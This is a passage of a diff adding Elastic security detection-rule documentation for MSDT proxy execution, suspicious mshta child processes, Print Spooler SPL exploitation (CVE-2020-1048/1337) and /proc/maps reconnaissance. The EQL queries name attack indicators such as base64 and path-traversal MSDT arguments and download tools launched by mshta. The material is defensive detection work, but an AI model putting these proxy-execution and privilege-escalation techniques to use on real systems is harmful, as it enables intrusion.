48 hours for recurring MSDT command patterns, parent launchers, package paths, child payloads, or remote indicators. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same proxy-execution pattern appears across unrelated hosts or users; keep response local only when current process, file, child, and network evidence bind one recognized diagnostic workflow. + +- What disposition is supported? + - Weigh command-line intent, image identity, parent lineage, package evidence, child or descendant processes, and file or network corroboration; escalate proxy execution or payload delivery, close only when evidence binds one recognized diagnostic workflow, and preserve artifacts when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Helpdesk, OEM troubleshooting, software deployment, or validation can trigger this rule when a signed support or management parent starts Microsoft-signed MSDT from a standard Windows path, uses the same controlled local diagnostic pack, and produces the same child-process set. Close only when parent path and command line, MSDT path and signature, command line, package path, child behavior, `user.id`, and `host.id` align in the current case; records can corroborate but not replace telemetry. +- Do not create exceptions on `process.name`, `process.pe.original_file_name`, or Microsoft signature alone. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse temporary containment and document the process, parent, package, and child-process evidence. Build exceptions only from the confirmed parent path plus command-line/package pattern plus `host.id` or `user.id`, not from "msdt.exe" alone. +- If suspicious but unconfirmed: + - Preserve the alert, MSDT `process.entity_id`, `process.pid`, `process.command_line`, `process.args`, parent evidence, package path, child identifiers, suspicious package copies, and remote indicators. + - Apply reversible containment for the affected `host.id` and `user.id`, such as temporary network restrictions, heightened monitoring, or child-process blocking. Isolate only for spawned payload behavior or high host criticality. +- If confirmed malicious: + - Isolate the host or escalate after preserving the MSDT and child identifiers, package paths, payload paths, command lines, and remote indicators. + - Terminate MSDT, diagnostic-host, and payload processes only after recording identifiers; block malicious child binaries, package paths, domains, and IP indicators. + - Remove malicious ".xml", ".msi", ".diagcab", remote package, or payload artifacts, then remediate the parent document, browser, script, or management path. +- Post-incident hardening: + - Restrict MSDT where business use no longer requires it, verify Follina-era mitigations, and retain process, file, and network telemetry for MSDT, parents, and children. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "msdt.exe" or process.name : "msdt.exe") and + ( + process.args : ("IT_RebrowseForFile=*", "*FromBase64*", "*/../../../*", "IT_BrowseForFile=*") or + ( + process.args : ("-af", "/af") and process.args : "/skip" and + process.parent.name : ("explorer.exe", "cmd.exe", "powershell.exe", "cscript.exe", "wscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe") and + process.args : ("?:\\WINDOWS\\diagnostics\\index\\PCWDiagnostic.xml", "PCWDiagnostic.xml", "?:\\Users\\Public\\*", "?:\\Windows\\Temp\\*") + ) or + + (?process.pe.original_file_name == "msdt.exe" and not process.name : "msdt.exe" and process.name != null) or + + ( + ?process.pe.original_file_name == "msdt.exe" and + not process.executable : ( + "?:\\Windows\\system32\\msdt.exe", + "?:\\Windows\\SysWOW64\\msdt.exe", + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\system32\\msdt.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\msdt.exe" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-microsoft-html-application-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-microsoft-html-application-child-process.asciidoc new file mode 100644 index 0000000000..4168956704 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-microsoft-html-application-child-process.asciidoc @@ -0,0 +1,213 @@ +[[prebuilt-rule-8-19-36-suspicious-microsoft-html-application-child-process]] +=== Suspicious Microsoft HTML Application Child Process + +Identifies Mshta.exe spawning a suspicious child process. This may indicate adversarial activity, as Mshta is often leveraged by adversaries to execute malicious scripts and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Mshta/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Microsoft HTML Application Child Process* + + + +*Possible investigation steps* + + +- What did mshta broker into the child process? + - Focus: `process.name`, `process.executable`, `process.command_line`, and `process.parent.command_line`, separating interpreters, script engines, transfer tools, installers, persistence utilities, DLL proxy loaders, and user-profile binaries; for transfer, installer, or user-profile children, recover same-child file and network/DNS events. !{investigate{"description":"","label":"File events for the child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Network and DNS events for the child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: treat download, staging, persistence, scripting, or arbitrary user-space execution as high-risk proxy execution; narrow only when child arguments and mshta command line identify one recognized HTA-driven deployment, enrollment, support, or internal-portal flow. Missing file, network, or DNS telemetry is unresolved, not benign. + +- Is the child binary identity consistent with its claimed role? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: renamed, unsigned/untrusted, user-writable, newly seen, or PE-mismatched children strengthen proxy-execution; a trusted signer identifies the binary but does not clear the mshta chain. + +- What source did mshta execute? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.parent.code_signature.subject_name`, and `process.parent.code_signature.trusted`, checking expected System32/SysWOW64 mshta plus inline "vbscript:"/"javascript:", "script:" monikers, remote URLs, ADS syntax, UNC paths, temp/downloads, or "INetCache" sources. + - Implication: inline scriptlets, remote/ADS-backed content, user-writable sources, obfuscation, or unexpected signer/path make mshta the likely delivery mechanism; internal HTAs, vendor packages, or deployment sources must still match the child workflow. + +- What process launched mshta? + - Why: recovering the mshta start event shows whether a browser, document, archive tool, installer, or management process initiated the chain. + - Focus: process-start events on `host.id` where recovered `process.entity_id` equals alert `process.parent.entity_id`; if absent, use `host.id`, `process.parent.pid`, and a tight alert window, then inspect recovered `process.parent.executable` and `process.parent.command_line`. !{investigate{"description":"","label":"Mshta parent process event","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: Office, browser, archive, chat, script-host, or unexpected-service launchers indicate delivery or user-execution risk; software-distribution, support, enrollment, or portal launchers explain the chain only when they start the same flow on the same host cohort. + +- Did the same mshta instance launch more suspicious children? + - Focus: process-start events on `host.id` where `process.parent.entity_id` matches alert `process.parent.entity_id`; fall back to `host.id`, `process.parent.pid`, and a tight alert window; inspect child `process.name`, `process.executable`, and `process.command_line`. !{investigate{"description":"","label":"Process events launched by the same mshta instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: same-instance fan-out into shells, transfer tools, schedulers, configuration changes, script hosts, or multiple user-space binaries widens response beyond one child; a single child stays narrow only if it matches the recovered benign workflow. + +- Does the user, session, and host cohort fit that workflow? + - Focus: `user.id`, `host.name`, `process.Ext.session_info.logon_type`, and recovered launcher `process.parent.executable`, using `host.id` as the stable host anchor. + - Implication: standard-user, shared-workstation, unusual remote/service-session, or non-management-host context raises priority without matching workflow history; cohort fit is reassuring only when session type and launcher match the deployment, support, enrollment, or portal pattern. + +- If local evidence is suspicious or unresolved, does alert history show broader proxy execution? + - Focus: related alerts for `user.id` in 48 hours where the same child `process.executable` or mshta command pattern (`process.command_line`, `process.parent.command_line`) recurs in proxy-execution alerts. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user view is quiet or ambiguous, compare related alerts for `host.id` in 48 hours; quiet history does not clear unresolved local evidence. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the same delivery path or child-command pattern recurs across proxy-execution alerts; stay local only when the chain is resolved and related history fits the same recognized workflow. + +- Escalate on suspicious child intent, identity mismatch, inline/remote/ADS mshta source, abnormal launcher, same-mshta fan-out, or broader proxy-execution history; close only when process evidence binds one exact recognized workflow on this host and no contradictions remain; preserve the process tree and escalate mixed or incomplete evidence. + + +*False positive analysis* + + +- HP printer software (HPSolutionsPortal.hta) uses mshta to run a vendor portal that spawns cmd.exe for UDC telemetry cleanup and rundll32.exe for printui operations. The rule excludes the UDC cmd.exe pattern cross-source and the parent HTA path when `process.parent.command_line` is available. On sources without parent command_line (CrowdStrike, SecurityLog), these alerts still fire; confirm by matching `process.command_line` to HP ProgramData paths or printui.dll printer-name arguments before closing. +- Treat software distribution, device enrollment, remote support, or internal HTA portals as benign candidates only after process telemetry proves the same chain. Confirm child `process.executable`, `process.command_line`, `process.hash.sha256`, signer, mshta `process.parent.command_line`, recovered launcher executable/command line, and `user.id` plus `host.id` cohort. Use change records, support tickets, asset-role inventories, or prior alerts only as corroboration; never close unresolved local process evidence on recurrence or workflow labels alone. +- Do not close on partial matches. Inline scriptlets, remote URLs, ADS syntax, user-profile child executables, unexpected launchers, or same-mshta fan-out contradict a benign HTA workflow unless process telemetry and outside confirmation verify that exact activity. +- Build exceptions from the minimum confirmed pattern: recovered launcher `process.parent.executable`, mshta `process.parent.command_line`, child `process.executable` plus `process.command_line`, and stable `user.id` or `host.id` cohort. Avoid exceptions on mshta alone, `process.name` alone, or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign, record the child `process.command_line`, mshta `process.parent.command_line`, recovered launcher `process.parent.executable`, `user.id`, and `host.id` evidence that validated the workflow, then reverse temporary containment. Create an exception only for that narrow process pattern, using prior alerts as stability evidence when available. +- If suspicious but unconfirmed, preserve the alert record, process tree, child `process.entity_id`, alert `process.parent.entity_id`, child and mshta command lines, child `process.hash.sha256`, signer evidence, recovered launcher, `process.Ext.session_info.logon_type`, and related-alert results before containment. Apply reversible controls first, such as blocking the exact HTA URL or share visible in `process.parent.command_line`, restricting the child hash or path, or increasing monitoring on the affected `host.id` and `user.id`. +- If confirmed malicious, isolate the host or terminate the mshta/child process only after recording the child and mshta entity IDs, command lines, launcher, hash, signer, user, and host evidence. If endpoint response is unavailable, hand off that preserved evidence to the team that can contain the endpoint or affected account. +- After containment, block confirmed malicious child hashes, child executable paths, and exact mshta command-line sources, then remove only scripts, binaries, scheduled tasks, or persistence changes proven to belong to this chain. Remediate the delivery vector that started mshta, such as browser download, attachment, archive extraction, remote share, software package, or compromised management workflow. +- Post-incident hardening: restrict mshta use for users and hosts that do not need HTA execution, package legitimate HTA workflows through signed deployment tooling, and record adjacent variants such as inline "vbscript:" / "javascript:", remote "script:" monikers, ADS-backed HTAs, and INetCache retrievals for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "mshta.exe" and process.command_line != null and + ( + process.name : ( + "cmd.exe", "powershell.exe", "certutil.exe", "bitsadmin.exe", "curl.exe", "msiexec.exe", + "schtasks.exe", "reg.exe", "wscript.exe", "rundll32.exe" + ) or + process.executable : ("C:\\Users\\*\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*\\*.exe") + ) and + not ( + (process.name : "cmd.exe" and process.command_line : "*\\HP\\HP*HPUDC*") or + ?process.parent.command_line : "*\\HP\\*\\HPSolutionsPortal.hta*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-print-spooler-spl-file-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-print-spooler-spl-file-created.asciidoc new file mode 100644 index 0000000000..9254050ebe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-print-spooler-spl-file-created.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-36-suspicious-print-spooler-spl-file-created]] +=== Suspicious Print Spooler SPL File Created + +Detects attempts to exploit privilege escalation vulnerabilities related to the Print Spooler service including CVE-2020-1048 and CVE-2020-1337. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://safebreach.com/Post/How-we-bypassed-CVE-2020-1048-Patch-and-got-CVE-2020-1337 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery +* Vuln: CVE-2020-1048 +* Vuln: CVE-2020-1337 + +*Version*: 120 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Print Spooler SPL File Created* + + +Print Spooler is a Windows service enabled by default in all Windows clients and servers. The service manages print jobs by loading printer drivers, receiving files to be printed, queuing them, scheduling, etc. + +The Print Spooler service has some known vulnerabilities that attackers can abuse to escalate privileges to SYSTEM, like CVE-2020-1048 and CVE-2020-1337. This rule looks for unusual processes writing SPL files to the location `?:\Windows\System32\spool\PRINTERS\`, which is an essential step in exploiting these vulnerabilities. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- Business applications that print directly, such as accounting, ERP, or document management software, can write SPL files during normal printing. Common built-in Windows apps, browsers, and LibreOffice are already excluded. +- If this activity is expected and noisy in your environment, consider adding exceptions, preferably with a combination of process executable and file conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Ensure that the machine has the latest security updates and is not running legacy Windows versions. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.extension : "spl" and + file.path : "?:\\Windows\\System32\\spool\\PRINTERS\\*" and + not process.name : ("spoolsv.exe", + "printfilterpipelinesvc.exe", + "PrintIsolationHost.exe", + "splwow64.exe", + "msiexec.exe", + "poqexec.exe", + "System") and + not user.id : "S-1-5-18" and + not process.executable : + ("?:\\Windows\\System32\\mmc.exe", + "\\Device\\Mup\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\System32\\printui.exe", + "?:\\Windows\\System32\\mstsc.exe", + "?:\\Windows\\System32\\spool\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\PROGRA~1\\*.exe", + "?:\\PROGRA~2\\*.exe", + "?:\\Windows\\System32\\rundll32.exe", + "?:\\Windows\\explorer.exe", + "?:\\Windows\\System32\\mspaint.exe", + "?:\\Windows\\System32\\SnippingTool.exe", + "?:\\Windows\\System32\\notepad.exe", + "?:\\Windows\\System32\\xpsrchvw.exe", + "?:\\Program Files\\LibreOffice\\program\\soffice.bin", + "?:\\Program Files (x86)\\LibreOffice\\program\\soffice.bin") and + + /* Signed Browsers */ + not ( + process.name : ("chrome.exe", "firefox.exe", "brave.exe", "opera.exe", "msedge.exe") and + process.code_signature.trusted == true and + process.code_signature.subject_name : ( + "Google LLC", "Mozilla Corporation", "Brave Software, Inc.", "Opera Norway AS", "Microsoft Corporation" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-proc-maps-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-proc-maps-discovery.asciidoc new file mode 100644 index 0000000000..78fb44c599 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-proc-maps-discovery.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-36-suspicious-proc-maps-discovery]] +=== Suspicious /proc/maps Discovery + +Monitors for /proc/*/maps file reads. The /proc/*/maps file in Linux provides a memory map for a specific process, detailing the memory segments, permissions, and what files are mapped to these segments. Attackers may read a process's memory map to identify memory addresses for code injection or process hijacking. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/arget13/DDexec + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Credential Access +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious /proc/maps Discovery* + + +In Linux environments, the `/proc/*/maps` files provide detailed memory mapping of processes, crucial for system diagnostics. However, adversaries exploit this by reading these files to pinpoint memory addresses for malicious activities like code injection. The detection rule identifies suspicious reads of these files by monitoring specific command executions, such as `cat` or `grep`, initiated from common shell environments, flagging potential reconnaissance attempts. + + +*Possible investigation steps* + + +- Review the process details, including the process name and arguments, to confirm if the access to /proc/*/maps was initiated by a legitimate user or application. Pay special attention to the process.name and process.args fields. +- Check the process.entry_leader.name to determine the shell environment from which the command was executed, and assess if this aligns with typical user behavior or known scripts. +- Investigate the user account associated with the process to determine if there are any signs of compromise or unusual activity, such as recent logins from unfamiliar IP addresses or changes in user permissions. +- Examine the parent process and any related child processes to understand the broader context of the command execution, looking for any signs of a script or automated task that might have triggered the alert. +- Correlate this event with other security alerts or logs from the same host or user to identify any patterns or sequences of suspicious activities that could indicate a larger attack or reconnaissance effort. + + +*False positive analysis* + + +- System diagnostics tools may read /proc/*/maps files as part of routine checks. Identify these tools and create exceptions for their processes to avoid unnecessary alerts. +- Developers and system administrators might manually inspect /proc/*/maps during debugging or performance tuning. Establish a list of known users and processes that perform these actions regularly and exclude them from triggering the rule. +- Automated scripts for monitoring or logging purposes could access /proc/*/maps files. Review these scripts and whitelist them if they are verified to be non-malicious. +- Security software might access these files as part of its scanning operations. Confirm the legitimacy of such software and add it to an exception list to prevent false positives. +- Consider the context of the process entry leader. If certain shell environments are used predominantly for legitimate administrative tasks, adjust the rule to reduce sensitivity for those specific environments. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes identified as reading the `/proc/*/maps` files using commands like `cat` or `grep` from unauthorized shell environments. +- Conduct a memory analysis on the affected system to identify any injected code or unauthorized modifications in the process memory. +- Review and audit user accounts and permissions on the affected system to ensure that only authorized users have access to sensitive files and directories. +- Implement stricter access controls and monitoring on `/proc/*/maps` files to limit exposure and detect unauthorized access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Update and enhance endpoint detection and response (EDR) solutions to improve monitoring and alerting for similar suspicious activities in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" 